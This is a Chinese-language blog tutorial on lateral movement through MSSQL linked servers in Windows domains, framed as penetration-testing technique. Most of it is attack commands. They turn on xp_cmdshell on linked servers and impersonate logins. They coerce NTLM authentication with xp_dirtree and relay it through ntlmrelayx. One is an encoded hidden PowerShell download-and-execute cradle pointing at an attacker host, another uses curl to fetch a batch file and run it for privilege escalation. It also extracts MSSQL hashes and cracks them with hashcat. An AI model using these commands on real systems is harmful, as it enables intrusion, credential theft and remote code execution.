域环境下利用MSSQL横向渗透技巧

前言

在我们做渗透测试的过程中有时候会遇到mssql  server数据库,当我们通过rce、sql注⼊弱⼝令 空密码 凭据泄漏等⽅式最终可以登录mssql server所在服务器/数据库时。今天将以不同的攻击⻆度来看下如何完成后续的横向渗透及拓展。

信息查询语句
SELECT IS_SRVROLEMEMBER('sysadmin','[domain]\username') //
查询当前⽤户是否是系统管理员组,为1则为系统管理员
 
SELECT IS_SRVROLEMEMBER('public','[domain]\username'); //查询当前⽤户是否是公共⻆⾊,为1则为公共⻆⾊
 
SELECT SYSTEM_USER; //查看系统组⽤户身份
 
SELECT USER_NAME();  //查看当前登录⽤户名
MSSQL IMPERSONATE权限
//查看可模仿的⽤户名,若有则可以AS LOGIN 从⽽命令执⾏
 
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN 
sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE 
a.permission_name = 'IMPERSONATE'; 
MSSQL 执⾏CMD

A.xp_cmdshell ⽅式

//查看sp_configure选项是否开启
EXEC ('sp_configure ''show advanced options'', 1; reconfigure;') AT linked hostname; 

图片

B.sp_OACreate ⽅式

图片

C.其他⽅式

利⽤MSSQL进⾏横向移动

什么时候考虑从mssql来进⾏横向移动?

⽐如域内SPN 通过Kerberoast 获取了SPN server的HASH,但⽆法如下图⼀样破解出密码并登录

图片

图片

或者必须要通过⼀些数据联合调⽤的情况时,可尝试寻找利于MSSQL来横向移动,当然通过mssql横向除了link-server以外还有其他的⽅式可以完成,这点留在最后。

简单来讲MSSQL达到横向移动通常只在配置了sql-link条件下才能做横向移动,并且若启动 mssql服务的⽤户是管理组成员,则可通过多种⽅式完成横向移动

图片

配置了mssql-link-server

图片

使⽤当前⽤户凭据 成功连接mssql-link-server

这种场景下的横向移动攻击⽅式可应⽤于局域网、AD Domain 和 Forest Domain,三种的区别仅

仅是是否有域信任、林内域或林外域信任关系

实例演示

注:本次演示只演示MSSQL横向移动的⽅法,不涉及提权的部分。

1-基于局域⽹的MSSQL-link横向移动

假设局域⽹内⼀台部署了mssql server的机器存在安全隐患导致MSSQL⽤户/管理员的凭据泄漏

那么我们可以使⽤两种⽅式先连接mssql

//mssql user way
impacket-mssqlclient -p 1433 -db music webapp11:******@192.168.57.140

//windows-auth way
impacket-mssqlclient -p 1433 -db master administrator:******@192.168.84.140
-hashes ***:*** -windows-auth

也可以直接使⽤kali  ⾥⾯的mssql,内置了2种命令执⾏的⽅法

mssqlclient.py -p 1433 -db master administrator@172.16.110.107 -hashes
 ******:****** -windows-auth

如果以windows-auth登录的话,若是管理员组成员,那么是ado权限,可直接执⾏系统命令

如果以windows-auth登录的话,若不是管理员组成员,那么是guest权限,需要进⼀步进⾏提权(提权mssql权限或提权windows user权限)然后利⽤ IMPERSONATE 进⾏权限伪造 登录后均可查询link-server,当我们发现⼀台设备的mssql具备sqlserver-link的情况,并且当前⽤户凭据可以登录link server的数据库时,可以进⼀步攻击link的服务器

EXEC sp_linkedservers;

可以看到本机(SQL11)链接了SQL27 跟 SQL53

图片

可以看到本机对link的机器进⾏连接测试成功,那么便可以通过openquery ... AT的⽅式尝试调⽤xp_cmdshell等⽅式执⾏命令

图片

EXECUTE AS LOGIN = 'webapp11';
EXEC ('sp_configure ''show advanced options'', 1; reconfigure;') AT SQL27; EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT SQL27;
EXEC ('xp_cmdshell ''whoami'';') AT SQL27;

图片

图片

2.基于MSSQL的域环境下横向渗透

背景:两台配置了域内机器/域信任机器,其中⼀台配置了另⼀台的link-server。下⾯⽤两个实例来做下简单演示,两者还是有细微的区别。

命令执⾏实例

//使⽤AT在link-server命令执⾏
EXEC ('sp_configure ''show advanced options'', 1; reconfigure;') AT linked- hostname;
EXEC ('xp_cmdshell ''whoami'';') AT linked-hostname;

使⽤openquery

图片

ntlm-relayx实例

使⽤ntlmrelayx 监听来⾃⽬标机器的哈希凭据(⽬的是通过sql-link⽅式通过smb协议窃取凭据,并执⾏系统命令)

在已拿下的机器通过如xp_dirtree的⽅式远程访问共享⽬录

//in kali
proxychains impacket-ntlmrelayx --no-http-server -smb2support -c "cmd" -t target_ip
//in pwned-mssql
EXEC master..xp_dirtree //kali_ip/share

当我们当前使⽤的mssql凭据可以直接连接link机器时,可以直接通过下列命令在link机器上完成命令执⾏

图片

若放到link-server场景下,使⽤openquery来窃取凭据就是如下命令,这样则可以窃取到link⽬标的哈希

select 1 from openquery("sqllinked-hostname", 'select 1; EXEC master..xp_dirtree ''\\192.168.49.57\share''')
proxychains impacket-ntlmrelayx --no-http-server -smb2support -c 'powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBl AGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkA UAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJAB1AFMARQB2AD0AbgBl AHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMA eQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkA ewAkAHUAUwBFAHYALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABd ADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJAB1AFMARQB2AC4A UAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBu AHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEA bABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBi AEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAA OgAvAC8AMQA5ADIALgAxADYAOAAuADQAOQAuADgANAA6ADgAMAA4ADAALwBDAHoAcQBUAFMAYgAx AG0AQgAvAGMAWQB4AHEAVgA2ADYAOQBUACcAKQApADsASQBFAFgAIAAoACgAbgBlAHcALQBvAGIA agBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABT AHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4ANAA5AC4AOAA0ADoA OAAwADgAMAAvAEMAegBxAFQAUwBiADEAbQBCACcAKQApADsA' -t 172.16.84.151

图片

3-MSSQL横向tips拓展

A.MSSQL-Account Hash Crack

https://github.com/xpn/Powershell-PostExploitation

Add-Type -Path 'OrcaMDF.RawCore.dll' 
Add-Type -Path 'OrcaMDF.Framework.dll' 
import-module .\Get-MDFHashes.ps1
Get-MDFHashes -mdf "C:\Users\administrator\Desktop\master.mdf"

图片

Get-MDFHashes -mdf "C:\Users\administrator\Desktop\master.mdf" | format-list

图片

然后可以⽤hahscat 开始爆破

hashcat -m 132 -O -a 0 -w 4 --session=mssql -o mssql.out mssql_hash seclists/Passwords/darkc0de.txt -r rules/d3ad0ne.rule

B-RPC OUT settings

RPC Out不是默认开启的设置,但通常由系统管理员设置。如果不允许RPC Out,如果我们当前的⽤户具有 sysadmin⻆⾊成员身份,则可以使⽤sp_serveroption存储过程,Microsoft⽂档明确指出在链接的SQL 服务器上不⽀持执⾏存储过程。相反,我们将使⽤AT关键字来指定应该在哪个链接的SQL服务器上执⾏查询。

图片

默认是不开启的,所以需要开启它 有两种⽅式

第⼀种:在获取的配置了SQL-link的机器上通过属性开启

第⼆种:通过mssql-client命令⾏开启

EXECUTE AS LOGIN = 'sa';
SELECT
 is_rpc_out_enabled FROM sys.servers
 WHERE name = 'sqllinked-hostname';
EXEC sp_serveroption 'sqllinked-hostname', 'rpc out', 'true';

图片

图片

C-PowerUpSQL

https://github.com/NetSPI/PowerUpSQL

https://github.com/NetSPI/PowerUpSQL/wiki/PowerUpSQL-Cheat-Sheet

//在拿下的配置了sql-link-server的机器中使⽤当前凭据查询link machine并执⾏命令
Get-SQLServerLinkCrawl -Instance instance1 -Query "exec master..xp_cmdshell 'cmd /c calc.exe'" -Verbose

else

//在target machine上执⾏printnight
EXEC ('xp_cmdshell ''curl 192.168.49.57:82/a.bat -o
 c:\users\public\b.bat'';') AT sqllinked-hostname

EXEC ('xp_cmdshell ''c:\users\public\pf.exe -i -c "cmd.exe /c
 c:\users\public\b.bat"'';') AT sqllinked-hostname

//命令执⾏失败时 查看是不是openquery失败了。
select version from openquery("sqllinked-hostname", 'select USER_NAME() as
version')
参考⽂档

https://notes.vulndev.io/notes/redteam/payloads/windows/mssql

https://blog.xpnsec.com/extracting-master-mdf-hashes/

https://www.graa.nl/articles/1930.html

https://h4ms1k.github.io/Red_Team_MSSQL_Server/#

https://wiki.apbcybersec.co.za/windows/active-directory/red-teaming/domain-privilege- escalation/trust-abuse-mssql

https://www.modb.pro/db/66194

  • 7
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值